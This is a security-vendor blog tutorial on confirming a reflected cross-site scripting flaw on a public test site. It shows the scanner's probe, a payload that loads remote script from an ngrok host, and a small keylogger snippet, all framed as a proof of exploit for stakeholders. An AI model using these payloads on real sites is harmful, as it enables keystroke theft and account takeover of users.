How to Verify a Cross-site Scripting Vulnerability

Analyzing web application vulnerabilities discovered by an automated scanner such as Acunetix often requires us to investigate further. This is in order to:

• Verify the vulnerability exists in the context of the application.
• Adjust the vulnerability payload reported by the scanner to something more invasive (i.e. keylogger) in order to make the severity of the problem more concrete to stakeholders.

This process would not only apply to Cross-site Scripting vulnerabilities, but all vulnerabilities. This is because automated scanners aim to detect a vulnerability and not exploit it.

In this post, we will be taking a deeper look at how to analyze a Cross-site Scripting alert from a scanner, into something more concrete.

Example

We run a scan against one of our testing sites, http://testphp.vulnweb.com/ which is open to everyone in the public to run tests against. During the scan, we notice a high severity Cross-site Scripting vulnerability being reported against http://testphp.vulnweb.com/listproducts.php

The vulnerability is quite simple. It’s a GET request with a vulnerable parameter named “article”. If we take a closer look at the Acunetix payload, it’s evident that the payload itself does nothing:

1'"()&%<acx><ScRiPt >vf8S(9896)</ScRiPt>

So how does Acunetix know that it is vulnerable to Cross-site Scripting? In this particular case, it is checking whether it can inject any HTML payload inside of the page, and verifies if it was reflected in the response:

<strong>1'"()&%<acx><ScRiPt >vf8S(9896)</ScRiPt></strong></td>

The <acx> tag is there to make it easier for us to find the payload in a large page. There is a lot more we can work on, now that we have this information.

Escalating

There are many different ways to escalate a Cross-site Scripting vulnerability and each one will depend on the web application and the context that the vulnerability is in.

For this example, we will be changing our payload to inject a <script> tag pointing to our malicious JavaScript hosted online using ngrok. Ngrok is a very powerful tool for developers and pentesters to quickly have local environments accessible online with a valid HTTPS certificate.

The malicious JavaScript that we are hosting, will just throw an alert with the vulnerable domain to confirm it works.

alert(document.domain);

The payload will now look as follows:

1'"()%26%25<acx><ScRiPt src="https://2f42e89e.ngrok.io"></ScRiPt>

When inputting that in our URL, we can see that it works:

Now that we know that the injection works, all we need to do is keep updating our malicious JavaScript hosted locally to do whatever we please. A good example would be a keylogger to see all the key inputs that the user presses. In a real-world scenario, you would have this data exported to a remote malicious server via DNS (similar to how AcuMonitor works).

The malicious JavaScript changed from the simple alert to attaching itself to all keypress events on the page, while logging their values to the console, as follows:

document.onkeypress = function(e) {console.log("Keylogger: " + e.target.value)};

When refreshing the page, the payload reloads and when typing anything, we can see the information being displayed in the browser console!

This verifies that the the malicious URL can be sent to anyone to click, which in turn will cause the user to be hacked. This paired with a spear-phishing attack could allow an attacker to easily take over high profile targets.

Conclusions

With the above example, we can now go from a theoretical Cross-site Scripting vulnerability, to a concrete Proof of Exploit to report to all stakeholders. This is something more tangible and makes the severity of the vulnerability far more realistic.

The power and utility of automated web application security scanners such as Acunetix should be quite evident in this article. Such tools are a very time-efficient way to find entrypoint vulnerabilities in applications, allowing us to focus on the actual exploitation of such vulnerabilities.

Acunetix can help not only with Cross-site Scripting, but thousands of other vulnerabilities too.

Frequently asked questions

THE AUTHOR

Acunetix

Acunetix developers and tech agents regularly contribute to the blog. All the Acunetix developers come with years of experience in the web security sphere.